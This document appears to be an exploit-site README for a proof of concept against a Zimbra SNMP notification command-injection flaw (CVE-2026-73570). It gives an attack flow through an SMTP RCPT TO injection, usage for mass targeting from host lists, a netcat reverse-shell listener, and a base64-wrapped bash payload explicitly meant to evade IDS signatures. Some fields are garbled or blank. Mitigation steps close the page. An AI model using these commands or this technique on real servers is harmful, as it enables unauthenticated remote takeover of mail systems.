## https://sploitus.com/exploit?id=2919DDAE-C704-58F3-9AED-AD8305E3C3EF
# CVE-2026-73570 — Zimbra ZCS SNMP Notification RCE exploit (PoC)
Unauthenticated Remote Code Execution via OS Command Injection in the Zimbra Collaboration Suite SNMP notification handler.
---
## Overview
| Field | Value |
|------------------|-------|
| **CVE** | CVE-2026-73570 |
| **CVSS 3.1** | **8.9 HIGH** — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| **CWE** | CWE-78 — Improper Neutralisation of Special Elements used in an OS Command |
| **Affected** | Zimbra ZCS changed from to
```
When a match is found, swatchdog passes the captured `` field directly to the SNMP notification shell script **without any sanitisation**.
An unauthenticated attacker can inject a crafted log entry by sending a specially formed SMTP `RCPT TO` command. Using an RFC 5321 **quoted local-part**, shell metacharacters — e.g. `$(...)` — are embedded inside `` and execute when swatchdog processes the resulting log line.
---
## Pre-conditions
All three conditions must be true on the target for the vulnerability to be exploitable:
- `zimbra-snmp` package is installed
- SNMP notifications are enabled (`snmp_notify = true`)
- `swatchdog` service is running
---
## Attack Flow
```
Attacker Zimbra MTA
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM: ──────►│
│── RCPT TO: ──────►│
│ │── logs RCPT TO data ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog matches
│ │ pattern, extracts
│ │ $(CMD), executes
│◄─────────── shell callback ───────────────────────────────────────┘
```
1. Connect to port **25 / 465 / 587**.
2. Send a standard SMTP conversation with the weaponised `RCPT TO`.
3. Zimbra logs the address data regardless of accept/reject.
4. `swatchdog` matches the log pattern and extracts the injected `$(CMD)`.
5. The SNMP handler executes `CMD` as the **`zimbra`** OS user.
---
## Exploit
### Requirements
```bash
cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
```
### Single target
```bash
perl zimbra-poc.pl -H mail.target.com -r -R 4444
```
### Target list
```bash
perl zimbra-poc.pl -f targets.txt -r -R 4444
```
`targets.txt` — one host per line, optional `:port`, lines starting with `#` are ignored:
```
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment
```
### All options
| Flag | Long | Default | Description |
|------|---------------|---------|------------------------------------------|
| `-H` | `--host` | — | Single target hostname or IP |
| `-f` | `--file` | — | File containing target list |
| `-p` | `--port` | `587` | Default SMTP port |
| `-r` | `--rhost` | — | Your IP for the reverse shell callback |
| `-R` | `--rport` | `4444` | Listener port |
| `-t` | `--timeout` | `15` | Socket timeout in seconds |
| `-S` | `--ssl` | off | Direct TLS (auto-enabled on port 465) |
| `-v` | `--verbose` | off | Print full SMTP dialog |
| `-L` | `--logfile` | — | Write session log to file |
| `-h` | `--help` | — | Show help |
### Full example
```bash
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
```
### Payload technique
The reverse shell command is **base64-encoded** before injection:
```
echo |base64 -d|bash
```
This prevents IDS/IPS from matching plaintext signatures such as `/dev/tcp`, `bash -i`, or `nc -e`. The encoded blob is injected as `$(...)` inside the quoted local-part of `RCPT TO`, triggering execution server-side when swatchdog processes the log entry.
---
## Mitigation
| Action | Detail |
|--------|--------|
| **Patch** | Upgrade to Zimbra ZCS ≥ 10.1.20 |
| **Disable SNMP notify** | `zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart` |
| **Remove package** | `apt remove zimbra-snmp` / `yum remove zimbra-snmp` |
| **Network controls** | Restrict inbound SMTP (25/465/587) to trusted relays where operationally feasible |
---
## References
- [NVD — CVE-2026-73570](https://nvd.nist.gov/vuln/detail/CVE-2026-73570)
- [Zimbra Security Advisories](https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories)
- [CISA Known Exploited Vulnerabilities — CVE-2026-73570](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-73570)
- [CERT.pl advisory](https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite)
- [BiuTrap/CVE-2026-73570](https://github.com/BiuTrap/CVE-2026-73570)
---
## Disclaimer
This proof-of-concept is released for **authorized security testing, academic research, and defensive purposes only**.
Running it against systems you do not own or lack explicit written permission to test is illegal.
The author assumes no liability for any misuse or damage caused by this tool.
---
## Author
**Gabriel P. Lipski**